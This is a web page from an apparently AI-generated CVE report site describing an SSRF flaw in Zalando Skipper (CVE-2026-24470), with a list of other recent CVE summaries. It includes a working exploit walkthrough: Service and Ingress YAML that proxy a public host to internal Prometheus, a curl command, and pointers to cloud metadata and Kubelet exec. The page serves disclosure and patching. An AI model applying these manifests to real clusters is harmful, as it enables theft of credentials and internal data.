CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-24470

Skipper's Slip-Up: Turning Kubernetes Ingress into an Internal Proxy

Alon Barad
Alon Barad
Software Engineer

Jan 27, 2026·5 min read·41 visits

Executive Summary (TL;DR)

Zalando Skipper (versions < 0.24.0) blindly trusted Kubernetes `ExternalName` services. By creating a Service pointing to an internal DNS name (like the Kubelet or Cloud Metadata) and an Ingress referencing it, a low-privileged user could proxy public traffic directly to sensitive internal infrastructure. The fix disables `ExternalName` support by default.

A high-severity SSRF vulnerability in Zalando Skipper allows attackers with Ingress creation privileges to route external traffic to internal cluster resources via Kubernetes ExternalName services.

The Hook: The Gatekeeper That Left the Back Door Open

In the chaotic world of Kubernetes networking, the Ingress Controller is the bouncer. It stands at the edge of the cluster, checking IDs (Host headers) and deciding who gets into the club (your pods). Zalando's Skipper is a popular HTTP router and reverse proxy designed for this exact purpose. It's robust, flexible, and usually pretty good at its job.

However, in CVE-2026-24470, our bouncer got a little too helpful. It turns out that if you asked Skipper nicely—specifically, by using a Kubernetes ExternalName service—it would happily escort you past the velvet ropes and straight into the VIP room (the internal network) without checking if you were actually on the list.

This isn't just a simple bug; it's a classic Confused Deputy scenario. Skipper has high privileges (network visibility into the cluster). The developer (you, or the attacker) has low privileges. By defining a malicious configuration object, the attacker tricks Skipper into using its high privileges to access resources the attacker shouldn't be able to touch. It's like asking the valet to fetch your car, but handing them a ticket for a Ferrari that isn't yours.

The Mechanism: Weaponizing DNS Aliases

To understand the exploit, you have to understand the Kubernetes ExternalName service type. Usually, a Service maps to a set of Pod IPs (endpoints). But an ExternalName service is basically a DNS alias (a CNAME). It tells the cluster: "Hey, if anyone asks for Service A, they actually want database.external-provider.com."

Skipper supports this. When it sees an Ingress pointing to an ExternalName service, it creates a route that proxies incoming HTTP requests to that external DNS name.

The Fatal Flaw: Prior to version 0.24.0, Skipper didn't validate what that DNS name was. It assumed that if a user could create an Ingress, they were trustworthy. This is a dangerous assumption in multi-tenant clusters. An attacker could define an ExternalName pointing to 169.254.169.254 (Cloud Metadata) or kubernetes.default.svc (The API Server).

The Exploit: From Public URL to Internal API

Let's walk through the attack path. Assume we are a developer with restricted permissions in a namespace called dev-team. We cannot access the production database or the underlying node metadata. But we can create Ingress resources to expose our apps.

Step 1: The Trojan Horse First, we create a Service. But instead of pointing to our app, we point it to the cluster's internal Prometheus instance, which is usually unprotected inside the cluster network.

apiVersion: v1
kind: Service
metadata:
  name: sneak-proxy
  namespace: dev-team
spec:
  type: ExternalName
  externalName: prometheus.monitoring.svc.cluster.local

Step 2: The Gateway Next, we create an Ingress that tells Skipper: "When you see traffic for attacker.example.com, send it to sneak-proxy."

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: exploit-ingress
spec:
  rules:
  - host: attacker.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: sneak-proxy
            port:
              number: 9090

Step 3: Profit Skipper processes the Ingress configuration. It resolves sneak-proxy to prometheus.monitoring.svc.cluster.local. It updates its routing table.

The attacker simply runs: curl http://attacker.example.com/api/v1/status/config

Skipper receives the request, sees the rule, and proxies the connection internally to Prometheus. The attacker now has full read access to the internal metrics, alerting rules, and potentially secrets stored in the config.

The Code: Before and After

The fix in version 0.24.0 is a shift to Secure by Default. Previously, the code essentially blindly trusted the service spec. The patch introduces a gatekeeper check in dataclients/kubernetes/ingressv1.go.

Here is a simplified view of the logic change:

Vulnerable Logic (Conceptual):

if svc.Spec.Type == "ExternalName" {
    // Just do it. Trust the user.
    return externalNameRoute(svc.Spec.ExternalName)
}

Patched Logic (Commit a4c87ce):

} else if svc.Spec.Type == "ExternalName" {
    // STOP! Is this feature even enabled?
    if ic.enableExternalNames {
         // Okay, it's enabled. Now check the allow-list (if configured)
         return externalNameRoute(..., allowedExternalNames)
    }
    // If not enabled, return an error. Access Denied.
    return nil, errNotEnabledExternalName
}

The developers added a flag EnableKubernetesExternalNames which defaults to false. If you want this feature, you now have to explicitly turn it on, and ideally, configure a regex whitelist using -kubernetes-allowed-external-name.

The Impact: Why This Hurts

This is an SSRF (Server-Side Request Forgery) on steroids. Traditional SSRF usually involves tricking an application into fetching a URL. Here, we are tricking the infrastructure layer itself.

  1. Cloud Metadata Theft: If Skipper is running on AWS/GCP/Azure, an attacker can map 169.254.169.254 to an Ingress. Visiting the public URL could dump the Node's IAM credentials, potentially leading to full cluster compromise.
  2. Internal Service Access: Most internal services (Redis, Elasticsearch, Metrics) lack authentication because they assume the cluster network is trusted. This exploit bridges the gap between the public internet and that trusted network.
  3. Kubelet RCE: If the attacker can reach the Kubelet API (10250), they might be able to invoke exec commands on other pods, depending on the Kubelet's anonymous auth configuration.

Official Patches

ZalandoSkipper v0.24.0 Release Notes

Fix Analysis (1)

Technical Appendix

CVSS Score
8.1/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
EPSS Probability
0.04%

Affected Systems

Zalando Skipper < 0.24.0Kubernetes Clusters using Skipper as Ingress

Affected Versions Detail

Product
Affected Versions
Fixed Version
Skipper
Zalando
< 0.24.00.24.0
AttributeDetail
CWECWE-918 (SSRF)
CVSS v3.18.1 (High)
Attack VectorNetwork
Privileges RequiredLow (Namespace Edit)
ImpactConfidentiality, Integrity
ClassConfused Deputy

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1212Exploitation for Credential Access
Credential Access
CWE-918
Server-Side Request Forgery (SSRF)

Vulnerability Timeline

Vulnerability Disclosed & Patched
2026-01-26
GHSA-mxxc-p822-2hx9 Published
2026-01-26
Public Sightings Reported
2026-01-27

References & Sources

  • [1]GHSA Advisory
  • [2]Kubernetes ExternalName Documentation

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•CVE-2026-58197
8.8

CVE-2026-58197: Host Escape and Lateral Movement via Insecure Container Network Defaults in ToolHive

A high-severity access control vulnerability in ToolHive CLI before v0.30.1 and ToolHive Studio before v0.38.0 allows local containerized MCP servers to bypass network isolation. This enables malicious workloads to establish TCP/IP connections to administrative and control plane endpoints exposed on the host loopback interface.

Amit Schendel
Amit Schendel
7 views•8 min read
•1 day ago•CVE-2026-63405
5.9

CVE-2026-63405: Insufficient Verification of Data Authenticity in AnyCable Pusher REST API

AnyCable is a real-time communication server. Prior to version 1.6.15, its Pusher-compatible REST API suffered from an authentication bypass vulnerability because it failed to verify that the request body matched the signature-validated body_md5 parameter. This allows attackers to perform replay attacks with modified body contents.

Amit Schendel
Amit Schendel
9 views•5 min read
•1 day ago•CVE-2026-64847
6.8

CVE-2026-64847: Indefinite Denial of Service via Undrained Stderr in AnyIO Process Pool Workers

A denial-of-service vulnerability exists in AnyIO prior to version 4.14.2. Standard error streams of process-pool workers are connected to an operating system pipe that is never drained by the parent process. This allows a worker to fill the pipe buffer and deadlock indefinitely.

Amit Schendel
Amit Schendel
7 views•6 min read
•1 day ago•CVE-2026-63349
7.0

CVE-2026-63349: Privilege Dropping Bypass and Denial of Service in AnyIO Subprocess Module

CVE-2026-63349 is a critical privilege-dropping bypass vulnerability in the AnyIO asynchronous framework (versions 4.14.0 and 4.14.1) on POSIX platforms. Due to a variable assignment typo, supplementary groups specified by the developer are not correctly propagated to the execution backend, resulting in subprocesses retaining the parent process's elevated supplementary group permissions.

Alon Barad
Alon Barad
13 views•5 min read
•1 day ago•CVE-2026-63406
5.9

CVE-2026-63406: Information Disclosure via Insecure Telemetry and Hardcoded Credentials in AnyCable-Go

CVE-2026-63406 is an information disclosure vulnerability in AnyCable-go prior to version 1.6.15. The built-in telemetry client is enabled by default with a hardcoded public authentication token ('secret'). This client digests highly sensitive configuration parameters and command-line arguments, including JWT secrets and RPC secrets, into a stable SHA-256 fingerprint. This fingerprint is sent over public networks, exposing those administrative secrets to offline dictionary and brute-force attacks if intercepted.

Alon Barad
Alon Barad
7 views•5 min read
•1 day ago•CVE-2026-84992
6.1

CVE-2026-84992: Cross-Site Scripting (XSS) via Fenced Code Block Parsing in md-editor-v3

CVE-2026-84992 is a Cross-Site Scripting (XSS) vulnerability affecting md-editor-v3 before version 6.5.4. It occurs because the fenced-code block language parser directly interpolates unescaped language metadata into unquoted HTML attributes inside the custom rendering callback. This bypasses the built-in XSSPlugin which runs during the parsing phase, before rendering.

Amit Schendel
Amit Schendel
9 views•6 min read